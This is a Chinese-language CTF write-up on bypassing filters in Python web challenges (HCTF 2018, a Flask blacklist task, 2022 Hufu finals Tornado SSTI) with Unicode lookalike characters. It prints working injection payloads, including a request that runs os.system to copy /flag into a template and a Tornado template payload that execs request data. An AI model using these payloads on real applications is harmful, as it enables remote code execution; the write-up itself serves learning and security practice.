Unicode编码与Python中的SSTI
记一下关于最近遇到的两题SSTI中有关Unicode绕过的题。
0x00
HCTF 2018的题,在/change页面右键源代码提示了源码。
然后就是审计了,共三种解法,单独记录一下Unicode相关的。
关于Unicode编码的绕过
在routes.py下,路由/change和/register以及/login中在处理用户名都调用了一个方法strlower(),跟进看一下,调用了nodeprep.prepare()。
查了一下相关资料,即该函数会将Unicode编码中特殊的畸形字符转化为对应的大写英文,将大写英文转化成对应的小写英文。
特殊的畸形字符:比如上下标的ᴀʙᴄᴅᴇꜰɢʜɪᴊᴋʟᴍɴᴏᴘʀꜱᴛᴜᴠᴡʏᴢ
1 | # ...... |
因此思路如下:
- 注册用户ᴬdmin,转换后变成Admin存入数据库。
- 登陆用户ᴬdmin,转换后,实际登陆的是Admin。
- 修改用户,从session中取值Admin,转换后变成admin存入数据库。
- 最后直接登陆admin。
0x01
1 | from flask import Flask,render_template,request,send_from_directory |
在Equ处进行了一次黑名单判断,如果存在blacklist中的字符则停止解析。
根据HCTF那题的源码,编写一下Payload生成脚本。
1 | import string |
Payload附上。
1 | left=print("a")&right=print(exec(request.args["1"])) |
构造请求如下。
1 | POST /equ.php?1=__import__(%27os%27).system(%27cat%20/flag%20%3E%20templates/index.html%27) |
0x02
2022虎符决赛的一题。
1 | import tornado.ioloop, tornado.web, tornado.options, os |
一样的思路,Payload附上。
1 | tornado={{a=list(vars(request))[3]}}{{b=list(vars(request)[a])[-2]}}{{exec(vars(request)[a][b])}} |
构造请求如下。
1 | POST / |
别的什么
原理大概是和Python解释器的编码读取问题相关,翻了一下暂时不是太想深究下去XD。
- 字符串是以Unicode编码的。
- 解释器默认是以UTF-8读取源码的。
1 | exec("print('1')") |
可以直接在3中执行,2中会报错。